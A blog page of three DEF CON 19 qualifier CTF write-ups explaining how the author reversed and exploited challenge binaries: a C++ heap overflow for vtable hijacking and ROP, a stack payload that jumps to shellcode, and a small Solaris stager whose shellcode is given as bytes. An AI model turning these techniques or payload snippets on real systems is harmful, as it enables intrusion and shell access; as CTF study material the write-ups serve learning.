Saturday, June 11, 2011

Defcon 19 Quals - Pwntent Pwnables 500 Writeup

I could not solve this challenge in time. It is definitely a good challenge (and hard).

The binary is compiled from C++ code and stripped. Even the binary is dynamically linked, we will see many functions in assembly because some code of C++ STL is included in binary. From objdump output, the binary is compiled on Fedora 14. So I tested my exploit only on Fedora 14. Here are some checking output.

$ file pp500_e98c4e1c448e706a94e
pp500_e98c4e1c448e706a94e: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
$ strings pp500_e98c4e1c448e706a94e
...
_ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_
...
vector::_M_insert_aux
...
$ objdump -s -j .comment pp500_e98c4e1c448e706a94e

pp500_e98c4e1c448e706a94e:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 2028474e 55292034 2e352e31  GCC: (GNU) 4.5.1
 0010 20323031 30303932 34202852 65642048   20100924 (Red H
 0020 61742034 2e352e31 2d342900           at 4.5.1-4).
$ checksec.sh --file pp500_e98c4e1c448e706a94e
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX enabled    No PIE                  pp500_e98c4e1c448e706a94e

The assembly from C++ code is very difficult to understand at first sight. The good way to understand (for me) is writing simple C++ code that uses std::string, then compile it and view the assembly (without stripping). Here is the my C++ code for learning std::string teststring.cpp.

After understanding std::string in assembly, reading the assembly code is a lot easier. There are still many unknown functions. But I could at least understand the program flow.

In upload_new_record function, there is a call to "new" after receiving the data from client. I can guess the call functions after "new" are Class constructors. In both constructor, they call the same function. It is a parent constructor. I also can see the vtable in constructor.

I named the class as RecordOdd and RecordEven (from the random value before creating the Record object). Inside RecordEven::setBuffer, there is a overflow bug. The buffer is allocated 224 bytes but the function always write 248 bytes. I thought to use it to overwrite the vtable of adjacent record. So just need to find a way to trigger it. I could guess almost immediately, the setBuffer is called when we edit a record. But that's not enough because it causes a heap corruption.

There are some messy functions. I could guess only they are STL functions and its object is in .bss section. I saw the "vector" and "Rb_tree". So the program must use std::vector and some kind of STL container that use Red-Black tree as internal data structure. Again, I wrote simple C++ code for each container. The binary use std::map. Here is my C++ code testmap.cpp

After I knew the program use std::map to store the Record and use a object id as a key, it is not difficult to reverse the left code. Here is my the reversed C++ code pp500_code.cpp

Exploitation

I tried to look at memory, when doing "upload new record". I found there is a some data of Red-black tree after a new record. If I use the overflow bug, I would overwrite the Red-black tree data, not vtable of next record.

It might be possible to overwrite the Red-black tree data in order to modify the pointer to Record, then make it points to fake vtable area. I think it is difficult to do. IMHO, playing with heap chunk is easier.

To make the Record allocated after another Record without any data in the middle, I upload a new record and delete it to make a hole (free chunk). Then, upload another record to lock the hole. The heap layout after above steps should look like this (omit heap metadata).

---+------------+--------------+-----------
   | free chunk |   Record 1   |           
---+------------+--------------+-----------

The "free chunk" should be big enough for many Red-black tree data but too small for a Record. So a new Record will be allocated next to Record1.

I need RecordEven object to be able to overwrite vtable of next Record. I do looping the "upload new record", "view record" and "delete record" (if it is not RecordEven) until got RecordEven object. Now, I could modify the vtable pointer :). The left problem is the address of Record that contained fake vtable.

In "edit_record" function, the received data is copied to Record buffer. The received length is ignored. The RecordOdd::setBuffer() use length that defined since "upload new record" to determine how many data to be copied. So if we can make the received buffer in "edit record" contains the address of heap, the program will copy the address to RecordOdd buffer. Then, we can get the address from "view record". (Not use RecordEven::setBuffer() because it causes a heap corruption.)

In "upload_new_record" function, there is a pointer to new Record. It is in buffer space of "edit_record" function, so we can copied a new uploaded Record to RecordOdd data.

When overwriting the vtable, we also need to put correct heap metadata (only chunk size) to prevent heap corruption. The last, I use "edit_record" function to trigger the exploit because it receives data from client to buffer before calling the function from fake data, so I put ROP data in stack.

The left part is doing ROP. Here is my exploit to get shell pp500.py (Note: you need to copy "/bin/sh" and needed libraries in pwn400 home directory because the program does chroot.)

I also write the exploit to just read the "key" file. It does not need to know the function offset in libc. pp500_readkey.py

$ python pp500_readkey.py
creating a hole ...
!!! Got odd record, it might be failed !!!

creating a record to lock the hole ...

creating third record...
getting the Record address...
08fb50e4,08fb5024,00000001,d06a93c2,08fb52d8,43434344

Record address: 08fb5100

overwriting vtable...
trigger the exploit

sending key
waiting for key

dummy key for testing       áP8PÇO♥           XáN N√

Wednesday, June 8, 2011

Defcon 19 Quals - Pwntent Pwnables 400 Writeup

As usual, I checked the file first.

$ file pp400_804703cc7f7d5d3f54ba
pp400_804703cc7f7d5d3f54ba: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ objdump -s -j .comment pp400_804703cc7f7d5d3f54ba

pp400_804703cc7f7d5d3f54ba:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 2028474e 55292034 2e362e30  GCC: (GNU) 4.6.0
 0010 20323031 31303530 39202852 65642048   20110509 (Red H
 0020 61742034 2e362e30 2d372900 4743433a  at 4.6.0-7).GCC:
 0030 2028474e 55292034 2e362e30 20323031   (GNU) 4.6.0 201
 0040 31303230 35202852 65642048 61742034  10205 (Red Hat 4
 0050 2e362e30 2d302e36 2900               .6.0-0.6).

The binary in this challenge is statically linked and stripped. It means all libc functions are included in the binary and symbol names are stripped. From the comment section, the binary is supposed to be compiled on Fedora 15. I tried to create IDA sig file from "libc.a" but no function name is resolved. So I have to reverse code manually.

My trick for reversing code on this challenge is starting from "/dev/urandom". The function that passed "/dev/urandom" as first argument should be "open". If we follow the assembly code in "open" function, we will see setting SYS_OPEN to eax then jump to "__unified_syscall" (See my pCTF - Another Samll Bug writeup). So we can recover many libc function names that setting eax to syscall number.

The left libc functions are not difficult to guess if we know function arguments and what syscall to be called inside the function. The code I get is same as LeetMore's writeup but they use better variable name than me (so read their code).

From the code, program copies client data to saved eip address but there is a limit. Before thinking how to make payload small, I checked the enabled security feature in the binary.

$ checksec.sh --file pp400_804703cc7f7d5d3f54ba
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX disabled   No PIE                  pp400_804703cc7f7d5d3f54ba

NX is disabled. So I do not need to do full ROP, just put the code to read the shellcode to some static rwx area (with "fread") then jump to it. Also we can see from the code that stdin and stderr are the connected socket, so we just need the execve("/bin/sh") shellcode.

fread_addr = 0x08048c60
stdin_addr = 0x0804a31c
wx_addr = 0x0804a480

payload = pack("<I", fread_addr) # jump to fread
payload += pack("<I", wx_addr)   # jump to shellcode
payload += pack("<IIII", wx_addr, 1, len(sc), stdin_addr) # fread arguments

It requires only 24 bytes. But when I got the shell, I could use only builtin commands, no "id, cat, ls, ..." (I hope I did not make a mistake again). So I wrote the shellcode to read key file. Here is the full python code pp400.py.

Monday, June 6, 2011

Defcon 19 Quals - Pwntent Pwnables 200 Writeup

First, I checked the binary with various commands

$ file pp200_64625bc51c5b8dc75b
pp200_64625bc51c5b8dc75b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ strings pp200_64625bc51c5b8dc75b
...
SUNW_0.7
libc.so.1
SUNW_0.9
SUNWprivate_1.1
...
$ objdump -s -j .comment pp200_64625bc51c5b8dc75b

pp200_64625bc51c5b8dc75b:     file format elf32-i386

Contents of section .comment:
 0000 00402823 2953756e 4f532035 2e313020  .@(#)SunOS 5.10
 0010 47656e65 72696320 4a616e75 61727920  Generic January
 0020 32303035 00004028 23295375 6e4f5320  2005..@(#)SunOS
 0030 352e3130 2047656e 65726963 204a616e  5.10 Generic Jan
 0040 75617279 20323030 35000040 28232953  uary 2005..@(#)S
 0050 756e4f53 20352e31 30204765 6e657269  unOS 5.10 Generi
 0060 63204a61 6e756172 79203230 30350000  c January 2005..
 0070 4743433a 2028474e 55292033 2e342e33  GCC: (GNU) 3.4.3
 0080 20286373 6c2d736f 6c323130 2d335f34   (csl-sol210-3_4
 0090 2d627261 6e63682b 736f6c5f 72706174  -branch+sol_rpat
 00a0 68290000 4743433a 2028474e 55292033  h)..GCC: (GNU) 3
...

From output, we know this binary is for Solaris x86. The "file" command tell the binary is stripped but it is not. When I open it in IDA, all function name is resolved. So it is easy to read/guess the code.

The challenge is so straightforward. The program receives input from client then jump to the received buffer+1. Just send the shellcode.

I had no knowledge about writing shellcode for Solaris. So I tried with metasploit "solaris/x86/shell_reverse_tcp". The size is 91 bytes but the BUFSIZE is 0x49=73 bytes. The metasploit payload is too big for this challenge.

I planned to sending small shellcode to receiving big shellcode. My trick is reusing the code. Pushing the size to be received then jump to address 0x080516b4 in order to make program call recvAll with my size then jump to received buffer+1 again. So the first shellcode is

sc = "\x6a\x5c"   # push 92
sc += "\xb8\xb4\x16\x05\x08" # mov eax,0x080516b4 
sc += "\xff\xe0"  # jmp eax

The full python code is pp200_readAll.py

The above method, I failed to do it in CTF because I put the wrong BUFSIZE in python code. Then, I learnt writing shellcode for Solaris x86 and tried connection reuse. I failed again because of my stupid mistake :[. I ended up with writing shellcode to read key file. Here is the python code for reading key file pp200.py.

After loading OpenSolaris VMWare image as someguy (sorry I cannot remember the name) in irc gave me the link, I know why I failed to get the shell. Thanks for the link.

The key, I cannot remember. :P